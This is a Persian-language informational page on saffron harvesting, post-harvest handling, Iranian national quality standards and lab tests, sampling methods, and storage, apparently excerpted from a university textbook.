چگونه و چه زمانی زعفران را برداشت کنیم ؟

چگونه و چه زمانی زعفران را برداشت کنیم ؟

برداشت زعفران بهتر است در ساعت اولیه بامداد و حتی قبل از طلوع خورشید انجام گیرد، چون جمع‌آوری غنچه‌ها آسان‌تر بوده و صدمه مکانیکی در حین جابه‌جایی و ترابری گل کاهش می‌یابد.

تأخیر در برداشت موجب باز شدن غنچه‌های زعفران شده و این امر علاوه بر مشکل‌تر کردن برداشت گل، موجب کاهش میزان عطر محصول نیز می‌شود. افزون بر این، تأخیر در برداشت موجب افزایش خسارت احتمالی ناشی از باد و باران می‌شود.

در باز کردن غنچه‌ها نیز باید مدت زمان لازم رعایت گردد تا غنچه‌ها به جهت تولید حرارت لهیده و چسبنده نشده و از کیفیت زعفران کاسته نشود. با توجه به اینکه برداشت محصول یکی از نقاط بحرانی چرخه تولید زعفران است رعایت قواعد صحیح برداشت گل زعفران به این شرح ضروری است :

(۱) سعی شود صبح زود و پیش از اینکه آفتاب تمام سطح مزرعه را بپوشاند اقدام به جمع‌آوری زعفران شود،

(۲) گل‌ها در سبد با گنجایه‌های تمیزی (دارای سوراخ جهت تهویه هوا) جمع‌آوری و در اولین فرصت به محل جداسازی منتقل شوند،

(۳) محلی که برای نگهداری گل‌ها تا زمان جداسازی در نظر گرفته می‌شود باید کاملاً پوشیده، سرد، دور از گردوغبار و تابش نور آفتاب باشد،

(۴) اگر مقدار زیادی گل در روزهای اوج گل‌دهی جمع‌آوری شده باشد باید در نگهداری آن‌ها دقت کافی صورت پذیرد و از انباشت آن‌ها روی هم و نیز تماس آن‌ها با زمین جلوگیری شود،

چگونه و چه زمانی زعفران را برداشت کنیم ؟

(۵) مدت نگهداری گل نباید از ۱۰ ساعت تجاوز نموده و ترتیبی اتخاذ شود که بلافاصله پس از برداشت گل اقدام به جداسازی شود،

(۶) محیط جداسازی باید نزدیک محل نگهداری و کاملاً بهداشتی و تمیز باشد،

(۷) کارگران در حین برداشت موارد بهداشتی را رعایت کنند،

(۸) نباید از وسایلی مانند گونی و کیسه‌های پلاستیکی جهت جمع‌آوری و نگهداری گل‌ها استفاده کرد .

(۹) به منظور کنترل آلودگی‌های میکروبی که امروزه می‌تواند به عنوان یکی از مشکلات اصلی محصول زعفران مطرح باشد، علاوه بر رعایت دقیق موارد ذکر شده باید دقت شود که کودهای طبیعی حداقل ۱ ماه تا ۲ ماه پیش از اولین آبیاری و شروع برداشت گل به زمین داده شود تا گل‌های زعفران که ارتفاع کمی از سطح خاک دارند با آن‌ها تماس نداشته باشند (زمانی‌پور، ۱۳۸۵؛ گرستا و همکاران، ۲۰۰۸؛ ا.م ۵۲۳۰، ۱۳۷۸؛ ا.م ۱۶۵۳۶، ۱۳۹۲).


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

بهترین زمان برداشت زعفران

برداشت زعفران | رویال زعفران

مرحله برداشت زعفران به جهت تأثیر بر کیفیت، عطر و طعم زعفران از مهم‌ترین مراحل تولید به شمار می‌رود، به همین دلیل باید در حین برداشت زعفران نهایت دقت صورت گیرد تا آسیبی به محصول وارد نشود .

گل زعفران معمولاً در اواسط پاییز برداشت می‌شود و روش متداول برداشت آن دستی است.در خراسان گل‌های زعفران غالباً از اوایل آبان تا اوایل آذرماه ظاهر می‌شوند و به‌محض ظهور اولین گل‌ها در مزرعه، برداشت محصول آغاز می‌شود.

 

گل‌های زعفران تقریباً ۲ تا ۳ هفته پس از آبیاری اول (بسته به درجه حرارت هوا) ظاهر می‌شوند. طول دوره گل‌دهی حدود ۱۵ تا ۲۰ روز و دوره برداشت ۱۰ تا ۱۵ روز است. به جهت کم بودن میزان گل‌ها در روزهای اول و آخر دوره گل‌دهی به‌طورمعمول برداشت ارزش اقتصادی نداشته و به این دلیل دوره برداشت کوتاه‌تر از دوره گل‌دهی است.

برداشت زعفران | رویال زعفران

به‌طورمعمول حداکثر میزان برداشت در هفته دوم گل‌دهی می‌باشد. هر بنه با توجه به اندازه و همچنین مرغوبیت خاک مزرعه ممکن است از ۱ تا ۳ گل تولید کند.عمر متوسط هر گل در صورت چیده نشدن سه روز می‌باشد (استاندارد ملی ایران ۵۲۳۰،  ۱۳۷۸؛ استاندارد ملی ایران ۱۶۵۳۶، ۱۳۹۲).


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

استانداردهای برداشت، فرآوری و آزمون‌های زعفران

برداشت زعفران بهتر است در ساعات اولیه صبح و حتی قبل از طلوع خورشید انجام شود تا ضمن تسهیل در عملیات برداشت، کیفیت محصول نیز حفظ شده و میزان تلفات کاهش یابد.

فرد برداشت کننده گل‌های زعفران نیز باید اصول بهداشتی را رعایت نموده و گنجایه برداشت هم باید تمیز، خشک و عاری از آلودگی باشد و بتواند محصول برداشت‌شده را از صدمات مکانیکی و وقوع آلودگی حفظ نماید.

کلاله گل‌های برداشت‌شده بایستی در اولین فرصت پس از برداشت جداسازی شده و برای حفظ گل‌ها در شرایط اوج گلدهی محصول نیز استفاده از پوشش‌های پلیمری با اتمسفر تغییریافته و دمای پایین موردتوجه قرار گیرد.

رعایت مسائل بهداشتی در حین جداسازی کلاله ضروری است و برای خشک‌کردن محصول نیز تأکید بر استفاده از روش‌های صنعتی به‌خصوص به‌کارگیری خشک‌کن‌های خورشیدی می‌باشد. در قسمت پایانی این فصل آیین کار، تجهیزات و الزامات موردنیاز برای تأسیس کارگاه‌های بسته‌بندی زعفران تشریح شده و قواعد انبارداری و درجه‌بندی محصول بیان شده است، افزون بر این، روش نمونه‌برداری از محصول انبارشده و آزمون‌های مختلف فیزیکی، شیمیایی، حسی و میکروبی نمونه‌های زعفران بر اساس استانداردهای ملی ایران تشریح شده است.


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

اندازه‌گیری میزان اسانس زعفران

روغن‌های اساسی ترکیبات معطری هستند که در اندام‌های مختلف گیاهان وجود دارند. روغن‌های اسانس از دیدگاه شیمیایی مخلوط‌های بسیار پیچیده شامل ترپن‌ها، سزکویی‌ترپن‌ها، مشتقات اکسیژنه آن‌ها و ترکیبات دیگر هستند که در اندام‌های مختلف گیاهان وجود دارند.

اسانس زعفران که معرف عطر و بوی مشخص کننده زعفران‌ها است، به مجموعه ترکیبات معطر از رده ترپن‌ها (C10H26) اطلاق می‌گردد که به سادگی اکسیژن را جذب نموده و تبدیل به مایع غلیظ و قهوه‌ای رنگی می‌شود.

در استاندارد ملی شماره ۷۰۰۱ با نام زعفران – تعیین اسانس- روش آزمون، روش استخراج و اندازه‌گیری اسانس زعفران مشخص شده است (ا.م شماره ۷۰۰۱، ۱۳۸۲). لازم به ذکر است که زعفران خیلی مرغوب، قسمت کلاله گل یعنی قسمت انتهایی خامه است.

میله خامه، زعفران درجه دو و نامرغوب را تشکیل می‌دهد. عطر و بوی زعفران به علت وجود اسانس بی‌رنگ ترپن‌دار و یک ترکیب اکسیژن‌دار همراه با سینئول به نام سافرانال می‌باشد. طعم زعفران مربوط به هتروزید تلخ پیکروکروسین و رنگ زعفران مربوط به وجود ماده‌ای به نام کروسین می‌باشد (ا.م ۱۷۰۳۴، ۱۳۹۲).

آزمون‌های زعفران

برای زعفران آزمون‌های متعددی وجود دارد که در استاندارد ملی ۲-۲۵۹ تشریح شده‌اند. لیست این آزمون‌ها و نیز جرم نمونه مورد نیاز برای انجام هر یک از آزمون‌های زعفران رشته‌ای، رشته‌ای بریده و پودر زعفران در جداول ۶-۱۲ و ۷-۱۲ آورده شده است.

اولین آزمون آزمون شناسایی می‌باشد که برای زعفران‌های رشته‌ای و رشته‌ای بریده از ذره‌بین استفاده شده و برای زعفران پودر از یک واکنش رنگ‌سنجی استفاده می‌شود. در صورت اثبات وجود ناخالصی در نمونه‌ها، ادامه آزمون‌ها ضرورتی ندارد.

ویژگی‌های فیزیکی و شیمیایی پودر زعفران (استاندارد ملی ۱-۲۵۹، ۱۳۹۱)

 

ردیف ویژگی‌ها درجه‌بندی روش آزمون
ممتاز ۱ ۲ ۳
۱ مواد خارجی (حداکثر درصد جرمی)
۱-۱ مربوط به گیاه ۱/۰ ۱ ۲ ۲ استاندارد ملی

۲-۲۵۹

۲-۱ مربوط به محیط منفی منفی منفی منفی استاندارد ملی

۲-۲۵۹

۲ رطوبت و مواد فرار (حداکثر درصد جرمی) ۸ ۸ ۱۰ ۱۰
۳ خاکستر کل بر اساس ماده خشک (حداکثر درصد جرمی) ۵/۵ ۶ ۷ ۷ استاندارد ملی

۱۱۹۷

۴ خاکستر نامحلول در اسید بر اساس ماده خشک (حداکثر درصد جرمی) ۵/۰ ۱ ۱ ۱ استاندارد ملی

۱۲۵۳

۵ عصاره محلول در آب سرد بر اساس ماده خشک (حداکثر درصد جرمی) ۶۵ ۶۵ ۶۵ ۶۵ استاندارد ملی

۱۶۱۹

۶ پیکروکروسین براساس ماده خشک (جذب در طول موج ۲۵۷ نانومتر)، حداقل ۸۵ ۸۰ ۷۰ ۷۰ استاندارد ملی

۲-۲۵۹

۷ سافرانال بر اساس ماده خشک (جذب در طول موج ۳۲۰ نانومتر)، حداقل ۵۰-۲۰ ۵۰-۲۰ ۵۰-۲۰ ۵۰-۲۰ استاندارد ملی

۲-۲۵۹

۸ کروسین بر اساس ماده خشک (جذب در طول موج ۴۴۰ نانومتر) حداقل ۲۲۰ ۲۰۰ ۱۸۰ ۱۵۰ استاندارد ملی

۲-۲۵۹

۹ رنگ‌های افزودنی منفی منفی منفی منفی استاندارد ملی

۲-۲۵۹

برای اطمینان از تعلق نمونه به زعفران زراعی و احتمال وجود هرگونه مواد خارجی از آزمون میکروسکوپی زعفران استفاده می‌شود. اساس این روش شامل بررسی ماهیت و خلوص پودر زعفران و زعفران رشته‌ای خردشده و تعیین مواد خارجی و بقایای گل به وسیله تشریح میکروسکوپی می‌باشد. شیوه انجام این آزمون در استاندارد ملی ۲-۲۵۹ تشریح شده است (ا.م ۲-۲۵۹، ۱۳۹۱).

یکی دیگر از آزمون‌های زعفران، آزمون تعیین درصد جرمی رطوبت و مواد فرار می‌باشد که طبق روش تشریح شده در استاندارد ملی ۲-۲۵۹ اساس آن عبارت از خشک‌کردن نمونه در گرمخانه دارای دمای C°۲±۱۰۳ به مدت ۱۶ ساعت می‌باشد. پس از تعیین مقدار رطوبت و مواد فرار، از نمونه خشک‌شده جهت آزمون تعیین خاکستر کل و خاکستر نامحلول در اسید استفاده می‌شود. تعیین درصد جرمی خامه متصل به کلاله یکی دیگر از آزمون‌های زعفران است که در خصوص زعفران رشته‌ای و رشته‌ای بریده اندازه‌گیری می‌شود. خامه متصل به کلاله در آزمون به صورت فیزیکی جدا شده و سپس با ترازوی دقیقی وزن می‌گردد.

آزمون تعیین درصد جرمی مواد خارجی در زعفران‌های رشته‌ای و رشته‌ای بریده صورت می‌گیرد. مواد خارجی مربوط به گیاه زعفران و مواد خارجی مربوط به محیط، به‌طور جداگانه در یک آزمون به صورت فیزیکی جدا شده و سپس توزین می‌گردد. برای برخی از آزمون‌های زعفران نیاز به ساییدن و الک کردن می‌باشد. برای این منظور باید از آسیابی با مشخصات بیان شده در استاندارد ملی

مراحل آزمون و جرم نمونه مورد نیاز جهت آزمون زعفران رشته‌ای و رشته‌ای بریده (ا.م ۲-۲۵۹، ۱۳۹۱)

 

ردیف مراحل آزمون

(آزمونه: ۲۴=۲×۱۲ گرم)

آزمایه

(گرم)

توضیحات
۱ آزمون شناسایی ۵ آزمایه جدید- آزمون غیرتخریبی
۲ بررسی میکروسکوپی ۰۵/۰ آزمایه از مرحله ۱
۳ تعیین میزان مواد خارجی ۳ آزمایه از مرحله ۱
۴ خامه متصل به کلاله ۳ آزمایه از مرحله ۱- آزمون غیرتخریبی
۵ تعیین عصاره محلول در آب ۲ آزمایه از مرحله ۴ پس از افزودن خامه‌های جداشده
۶ تعیین مقدار رطوبت و مواد فرار ۵/۲ آزمایه جدید- آزمونه را برای تعیین خاکستر کل و خاکستر نامحلول در اسید نگهداری کنید.
۷ تعیین خاکستر کل ۲ باقیمانده آزمایه از مرحله ۶
۸ تعیین خاکستر نامحلول در اسید آزمایه به دست آمده از مرحله ۷
۹ ساییدن و الک کردن ۴ آزمایه جدید- نمونه را پس از ساییدن الک کنید تا پودری به دست آید که ۹۵ درصد کسر جرمی آن از یک الک یا روزنه‌های ۵۰۰ میکرون عبور کند. باقیمانده روی الک را مجدداً با نمونه زیر الک مخلوط کنید تا آزمونه یکنواختی به دست آید.
۱۰ تعیین خصوصیات اصلی کروماتوگرافی لایه نازک ۵/۰ آزمایه از مرحله ۹ بعد از الک کردن

 

۱۱ (TLC): شناسایی رنگ‌های مصنوعی ۵/۰ آزمایه مرحله ۹- قبل از الک کردن HPLC (مرحله ۱۲) می‌تواند به صورت
۱۲ کروماتوگرافی مایع با عملکرد بالا (HPLC): شناسایی رنگ‌های مصنوعی ۵/۰ جایگزین پا به صورت اضافی اجرا شود. در این صورت از محلول استخراج شده برای هر دو روش استفاده کنید.
۱۳ آلاینده‌های فلزی ۵/۰ آزمایه از مرحله ۹- قبل از الک کردن TLC (مرحله ۱۱) می‌توانید به صورت جایگزین یا به صورت اضافی اجرا شود. در این صورت از محلول استخراج شده  برای هر دو روش استفاده کنید.

یادآوری: مقدار ۵/۴ گرم نمونه آزمایشگاهی باقی می‌ماند که می‌تواند برای آزمون‌های بیشتر یا برای تکرار آزمون‌های معین مورد استفاده قرار گیرد.

۲-۲۵۹ و الک با چشمه ۵۰۰ میکرومتر استفاده شود. برای تعیین درصد جرمی عصاره محلول در آب سرد، از روش ارائه شده در استاندارد ملی شماره ۱۲۱۸۵ استفاده می‌شود (ا.م ۲-۲۵۹، ۱۳۹۱). منظور از درصد جرمی عصاره محلول در آب سرد، کل موادی است که به وسیله آب سرد از زعفران استخراج شده و برحسب درصد جرمی براساس ماده خشک محاسبه می‌گردد.

اساس کار این آزمون به این صورت است که عصاره از آزمونه زعفران به وسیله آب سرد استخراج می‌گردد و سپس محلول عصاره به دست آمده صاف، خشک و توزین می‌شود (ا.م ۱۲۱۸۵، ۱۳۸۸). خاکستر کل نمونه نیز مطابق با روش ارائه شده در استاندارد ملی شماره ۱۱۹۷ تعیین می‌گردد.

تعیین خاکستر نامحلول در اسید مطابق با دستورالعمل ارائه شده در استاندارد ملی ۱۲۵۳ می‌باشد (ا.م ۲-۲۵۹، ۱۳۹۱).

تعیین ویژگی‌های اصلی نمونه‌های زعفران با استفاده از روش طیف نورسنجی فرابنفش – مرئی ممکن می‌باشد. این روش، اندازه‌گیری خصوصیات اصلی زعفران را که مرتبط با مقدار پیکروکروسین، سافرانال

مراحل آزمون و جرم نمونه مورد نیاز جهت آزمون زعفران پودر (ا.م ۲-۲۵۹، ۱۳۹۱)

ردیف مراحل آزمون (نمونه آزمایشگاهی ۱۲=۲×۶ گرم) حدود ۱۰ گرم آزمایه

(گرم)

توضیحات
۱ آزمون شناسایی آزمایه جدید- اگر آزمایه در تجزیه رنگ‌سنجی مورد تأیید قرار نگرفت آزمایش را ادامه ندهید.
۲ بررسی میکروسکوپی آزمایه جدید
۳ تعیین میزان مواد خارجی در کل بسته مورد آزمون، وجود مواد خارجی مورد بررسی قرار می‌گیرد
۴ تعیین مقدار رطوبت و مواد فرار آزمایه جدید- آزمونه را برای تعیین خاکستر گل و خاکستر نامحلول در اسید نگهداری نمایید
۵ تعیین خاکستر کل باقیمانده آزمایه از مرحله ۴
۶ تعیین خاکستر نامحلول در اسید آزمایه به دست آمده از مرحله ۵
۷ ساییدن و الک کردن آزمایه جدید- الک کردن را مطابق با بند ۸ انجام دهید تا پودری به دست آید که ۹۵ درصد کسر جرمی آن از یک الک با روزنه‌های ۵۰۰ میکرون عبور کند. باقیمانده روی الک را مجدداً با نمونه زیر الک مخلوط کنید تا آزمونه یکنواختی به دست آید.
۸ تعیین محلول عصاره در آب سرد آزمایه از مرحله ۷
۹ تعیین خصوصیات اصلی آزمایه از مرحله ۷ بعد از الک کردن
۱۰ کروماتوگرافی لایه نازک (TLC): شناسایی رنگ‌های مصنوعی آزمایه مرحله ۷- قبل از الک کردن HPLC (مرحله ۱۱) می‌تواند به صورت جایگزین یا به صورت اضافی اجرا شود. در این صورت از  محلول استخراج شده برای هر دو روش استفاده کنید.
۱۱ کروماتوگرافی مایع با عملکرد بالا (HPLC): شناسایی رنگ‌های مصنوعی آزمایه از مرحله ۷- قبل از الک کردن TLC (مرحله ۱۰) می‌تواند به صورت جایگزین یا به صورت اضافی اجرا شود. در این صورت از محلول استخراج شده برای هر دو روش استفاده کنید.

یادآوری: مقدار ۱ گرم نمونه آزمایشگاهی باقی می‌ماند که می‌تواند برای آزمون‌های بیشتر یا برای تکرار آزمون‌های معین مورد استفاده قرار گیرد.

مقایسه دو روش HPLC و طیف نورسنجی در نمونه‌های زعفران خشک شده با چهار روش مختلف بر حسب میلی‌گرم بر کیلوگرم (فلاحت‌پیشه و همکاران، ۱۳۸۳).

و کروسین است، امکان‌پذیر می‌سازد. اساس این روش بر مبنای ثبت تغییرات چگالی نوری عصاره آبی زعفران در طول موج بین ۲۰۰ تا ۷۰۰ نانومتر در دمای محیط می‌باشد. وسایل لازم و روش انجام این آزمون در استاندارد ملی ۲-۲۵۹ به‌طور کامل تشریح شده است (ا.م ۲-۲۵۹، ۱۳۹۱). از آزمون‌های دیگری که در خصوص زعفران انجام می‌شود آزمون تعیین آلاینده‌ها است. اندازه‌گیری مقدار فلزات سنگین، از طریق هضم و آماده‌سازی نمونه و سپس تزریق آن به دستگاه جذب اتمی انجام می‌گیرد. برای اندازه‌گیری باقی مانده سموم و آفت‌کش‌ها در نمونه از روش‌های HPLC و GC استفاده می‌شود.

آزمون ویژگی‌های میکروبیولوژی زعفران نیز طبق استاندارد ملی ایران به شماره ۵۶۸۹ انجام می‌شود که در فصل ترکیبات شیمیایی و کاربردهای زعفران آورده شده است. از دیگر آزمون‌های رایج در خصوص زعفران شناسایی رنگ‌های مصنوعی می‌باشد. در استاندارد ملی ایران به شماره ۲-۲۵۹ روش شناسایی رنگ‌های مصنوعی اسیدی محلول در آب به روش کروماتوگرافی لایه نازک (TLC)، روش شناسایی رنگ‌های اسیدی محلول در آب به روش کروماتوگرافی مایع با کارایی بالا (HPLC)، روش شناسایی رنگدانه‌ها و مواد غیرقطبی توسط کروماتوگرافی مایع با کارایی بالا و نیز روش شناسایی رنگدانه‌ها و مواد قطبی توسط کروماتوگرافی مایع با عملکرد بالا به‌طور کامل تشریح شده است (ا.م ۲-۲۵۹، ۱۳۹۱)، اندازه‌گیری ترکیبات زعفران با استفاده از روش کروماتوگرافی گازی با کارآیی بالا (HPLC) در مقایسه با روش‌های طیف‌سنجی از دقت و تکرارپذیری بالاتری برخوردار است (جایمند و همکاران، ۱۳۸۹).

در تحقیقی فلاحت‌پیشه و همکاران (۱۳۸۳) مقدار سافرانال موجود در نمونه‌های زعفران خشک شده با روش‌های گوناگون را با دو روش HPLC و اسپکتروفتومتری اندازه‌گیری کردند. با مقایسه نتایج به ویژه در نمونه‌های خشک‌شده با روش سنتی ارجحیت روش HPLC و نیز خطای احتمالی ناشی از همپوشانی سایر ترکیبات در اندازه‌گیری سافرانال به روش طیف نورسنجی مشخص گردید.


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

ویژگی‌های حسی، فیزیکی و شیمیایی زعفران

طعم و عطر و وضعیت ظاهری زعفران از جمله خصوصیات حسی آن به شمار می‌روند. زعفران باید دارای طعم و عطر مخصوص به خود، کمی تلخ مزه و تند و نیز عاری از هر گونه طعم و بوی خارجی باشد. از نظر وضع ظاهری نیز انواع زعفران (رشته ای، رشته‌ای بریده و پودر شده) باید دارای رنگ یکنواخت بوده و نباید در اثر رطوبت زیاد و یا خشک‌کردن نامناسب به هم چسبیده باشند. ویژگی‌های فیزیکی و شیمیایی انواع زعفران نیز باید مطابق با جداول ۴-۱۲ و ۵-۱۲ باشد (ا.م ۱-۲۵۹، ۱۳۹۱).

ردیف ویژگی‌ها درجه‌بندی روش آزمون
رشته‌ای بریده رشته‌ای
ممتاز ۱ ۲ ۳ ۴
۱ خامه همراه با کلاله (حداکثر درصد جرمی) ۵/۰ ۵ ۱۰ ۲۰ ۳۰ استاندارد ملی
۲ مواد خارجی (حداکثر درصد جرمی)
۲-۱ مواد خارجی مربوط به گیاه زعفران (حداکثر) ۱/۰ ۱ ۲ ۲ ۲ استاندارد ملی
۲-۲ مواد خارجی مربوط به محیط منفی منفی منفی منفی منفی
۳ رطوبت و مواد فرار (حداکثر درصد جرمی) ۱۰ ۱۰ ۱۲ ۱۲ ۱۲ استاندارد ملی
۴ خاکستر کل بر اساس ماده خشک (حداکثر درصد جرمی) ۵/۵ ۶ ۷ ۷ ۷ استاندارد ملی
۵ خاکستر نامحلول در اسید بر اساس ماده خشک (حداکثر درصد جرمی) ۵/۰ ۱ ۱ ۱ ۱ استاندارد ملی
۶ عصاره محلول در آب سرد بر اساس ماده خشک (حداکثر درصد جرمی) ۶۵ ۶۵ ۶۵ ۶۵ ۶۵ استاندارد ملی
۷ پیکروکروسین بر اساس ماده خشک (جذب در طول موج ۲۵۷ نانومتر)، حداقل ۸۵ ۸۰ ۷۰ ۷۰ ۷۰ استاندارد ملی
۸ سافرانال بر اساس ماده خشک (جذب در طول موج ۳۳۰ نانومتر)، حداقل ۵۰-۲۰ ۵۰-۲۰ ۵۰-۲۰ ۵۰-۲۰ ۵۰-۲۰ استاندارد ملی
۹ کروسین بر اساس ماده خشک (جذب در طول موج ۴۴۰ نانومتر)، حداقل ۲۲۰ ۲۰۰ ۱۸۰ ۱۵۰ ۱۴۰ استاندارد ملی
۱۰ رنگ‌های افزدونی منفی منفی منفی منفی منفی استاندارد ملی
یادآوری: در صورت نیاز به استفاده از نخ جهت بسته‌بندی زعفران (تنها در مورد زعفران رشته‌ای درجه ۴) نخ مورد استفاده باید بدون رنگ یا به رنگ سفید بوده و حداکثر ۰۲/۰ گرم وزن داشته باشد و وزن هر دسته نیز نباید از ۱۰ گرم بیشتر باشد.

 

استفاده از هرگونه افزودنی مانند رنگ‌های افزودنی در فرآورده زعفران مجاز نمی‌باشد. حد مجاز آلاینده‌های فلزی زعفران نیز در فصل ترکیبات شیمیایی و کاربردهای زعفران آورده شده است. ویژگی‌های میکروبیولوژی زعفران نیز باید با استاندارد ملی شماره ۵۶۸۹ مطابقت داشته باشد (ا.م ۱-۲۵۹، ۱۳۹۱).


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

روش نمونه‌برداری زعفران

مؤسسه استاندارد و تحقیقات صنعتی ایران در قالب استاندارد شماره ۳۶۵۹ روش نمونه‌برداری از زعفران بسته‌بندی شده بر اساس استاندارد شماره ۲۵۹ (ویژگی‌ها و روش‌های آزمون زعفران) را ارائه کرده است. قبل از تشریح روش نمونه‌برداری لازم است با عنوان نمونه و معنای آن آشنا شویم.

(الف) نمونه نخستین: عبارتست از مقدار کالایی که با استفاده از جدول شماره ۱ استاندارد ملی شماره ۳۶۵۹ به صورت یک بسته کامل و یا بخشی از محتویات یک بسته برداشته می‌شود،

(ب) نمونه کلی و معرف: عبارتست از نمونه به دست آمده از آمیختن کامل تمام نمونه‌های نخستین برداشته شده از یک بهر (تمام یا قسمتی از بار که از نظر بسته‌بندی و ویژگی‌ها یکسان باشد)

(ج) نمونه آزمایشگاهی مقدار معینی از نمونه کلی و معرف است که برای آزمایشگاه فرستاده می‌شود. هنگام نمونه‌برداری، آماده کردن، نگهداری و جابجایی نمونه‌ها باید دستورالعمل‌های زیر رعایت شود (ا.م ۳۶۵۶، ۱۳۷۴): (۱) نمونه‌برداری باید توسط افراد مجرب انجام پذیرد، (۲) کلیه عملیات روی نمونه‌ها (مانند مخلوط کردن نمونه‌های نخستین برای تهیه نمونه کلی و پر کردن نمونه در بسته) باید با دقتی انجام گیرد که از هر گونه تغییر مشخصات زعفران اجتناب گردد، (۳) وسیله نمونه‌برداری و گنجایه نمونه باید خشک و تمیز باشد، (۴) گنجایه‌های نمونه باید دهان گشاد و دارای درب مناسب و غیرقابل نفوذ باشد و جنس آن از استحکام کافی برخوردار بوده به نحوی که در حین ترابری باعث خرد و فشرده شدن نمونه نگردد، (۵) گنجایه‌های پر شده از نمونه را باید در برابر عواملی مانند باران، گرد و خاک، رطوبت و تابش نور خورشید محفوظ نگهداری کرد و (۶) گنجایش گنجایه‌های زعفران باید به اندازه‌ای باشد که تقریباً از نمونه پر شود (۲۰ گرم) (ا.م ۳۶۵۹، ۱۳۷۴). کمینه جرم نمونه آزمایشگاهی ۲۴ گرم (۱۲۸۲ گرم) برای زعفران رشته‌ای و رشته‌ای بریده و ۱۲ گرم (۲×۶ گرم) برای پودر زعفران، جهت انجام آزمون برای دو تکرار می‌باشد (ا.م ۲-۲۵۹، ۱۳۹۱).

در مبحث آزمون‌های زعفران جرم نمونه مورد نیاز برای هر یک از آزمون‌ها ارائه شده است. وسائل نمونه‌برداری از زعفران شامل انبرک (برای نمونه‌برداری از کلاله، دسته و خامه زعفران)، قیچی (برای بریدن نخ دسته زعفران) و قاشق (برای نمونه‌برداری از گرد زعفران) می‌باشند. برای نمونه‌برداری نخست شمار بسته‌های موجود در بهر یا بار را مشخص کرده آنگاه با استفاده از جدول شماره ۱ از استاندارد ملی شماره ۳۶۵۹ شمار بسته‌هایی را که باید از آن نمونه‌برداری شود تعیین و سپس با استفاده از جدول‌های اعداد تصادفی استاندارد ملی شماره ۲۳۰۵ (روش‌های نمونه گیری تصادفی و چگونگی استفاده از جداول اعداد تصادفی) بسته‌هایی که باید از آن نمونه‌برداری شود را به‌طور تصادفی مشخص کرده، آنگاه از هر بسته مشخص شده برابر رقم ستون سوم جدول شماره ۱ از استاندارد ملی شماره ۳۶۵۹، با تقریب اضافی به عنوان نمونه نخستین نمونه‌برداری می‌شود (ا.م ۳۶۵۹، ۱۳۷۴)


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

انبار کردن محصولات بسته‌بندی شده و مدت نگهداری زعفران

پس از درجه‌بندی و بسته‌بندی به انبار محصول حمل و در آنجا نگهداری می‌شود.شرایط فنی و ساختمانی این انبار باید مطابق آنچه قبلاً بر اساس استاندارد ملی ۵۰۹۷ تشریح شد باشد. جهت نگهدای زعفران بسته‌بندی شده در انبار بایستی از پالت یا قفسه‌های فلزی استفاده نمود (ا.م ۵۰۹۷، ۱۳۷۸).

مطالعه اثرات طول دوره نگهداری زعفران بر کیفیت این محصول دارای اهمیت است. در پژوهشی کلاله‌های زعفران بر روی الک توسط هیتر الکتریکی در دمای C°۵۵ به مدت ۴۵ دقیقه (روش اسپانیایی) خشک شدند و پس از بسته‌بندی در پوشش‌های پلی‌اتیلنی، در دمای ۲۰ تا C°۲۵ نگهداری و به‌طور ماهیانه مورد بررسی کیفی قرار گرفتند .

نتایج نشان داد که محتوای رطوبت، عصاره آبی، کروسین، پیکروکروسین و همچنین کلیه ویژگی‌های میکروبی زعفران در طول دوره نگهداری کاهش یافته اما سافرانال، روند افزایشی از خود نشان داد. افزون بر این، بیشترین میزان تغییرات در خصوصیات بررسی شده، پس از گذشت هشت ماه (در مرداد ماه) از زمان برداشت (آذرماه) رخ داد و پس از آن مدت، اختلاف معنی‌داری در میزان تغییرات مشاهده نشد (سالاری و همکاران، ۱۳۸۹). در پژوهشی میزان ترکیب کروسین در نمونه‌هایی که به مدت ۲۰ ماه در شرایط نور، تاریکی و یخچال نگهداری شده بودند به ترتیب ۰۳۲/۰، ۰٫۰۳۸ و ۰٫۰۲۸ درصد محاسبه شد.

بر این اساس بهترین شرایط نگهداری کلاله زعفران جهت حفظ بیشتر ترکیب کروسین، محیط تاریک می‌باشد (جایمند و همکاران، ۱۳۸۶). در آزمایش مشابه دیگری مقدار ترکیب کروسین در نمونه‌های زعفران نگهداری شده در نور، تاریکی و یخچال صفر درجه پس از ۲۰ ماه در شهرستان کرج به ترتیب ۰٫۰۲۹، ۰٫۰۴۱ و ۰٫۰۳۰ درصد و در شهرستان خمین به ترتیب ۰۳۰/۰، ۰٫۰۳۰ و ۰٫۰۲۸ درصد گزارش شد و در مجموع، بهترین شرایط برای نگهداری زعفران، محیط تاریک توصیه گردید (جایمند و همکاران، ۱۳۸۹).

در پژوهشی مقدار ترکیبات موجود در کلاله زعفران محصول اسپانیا در سه دوره زمانی ذخیره‌سازی شامل زیر یک سال (برای ۵۰ نمونه)، ۳ تا ۴ سال (برای ۱۳ نمونه) و ۸ تا ۹ سال (برای ۱۰ نمونه) مورد بررسی قرار گرفت .

نتایج نشان داد که زعفران ذخیره شده به مدت کمتر از یکسال دارای مقادیر بالاتری از توصیف‌گرهای زعفرانی، گل و ادویه بود، در حالی که

مقادیر متوسط (برحسب درصد در وزن کل درصد محتوای مواد فرار) هشت ترکیب فرار ابتدایی کشف شده در زعفران در زمان‌های مختلف انبارداری محصول (ماگی و همکاران، ۲۰۱۰).

مقادیر متوسط (برحسب درصد در وزن کل درصد محتوای مواد فرار) ترکیبات فرار فرعی پیدا شده در زعفران در زمان‌های مختلف انبارداری محصول (ماگی و همکاران، ۲۰۱۰)

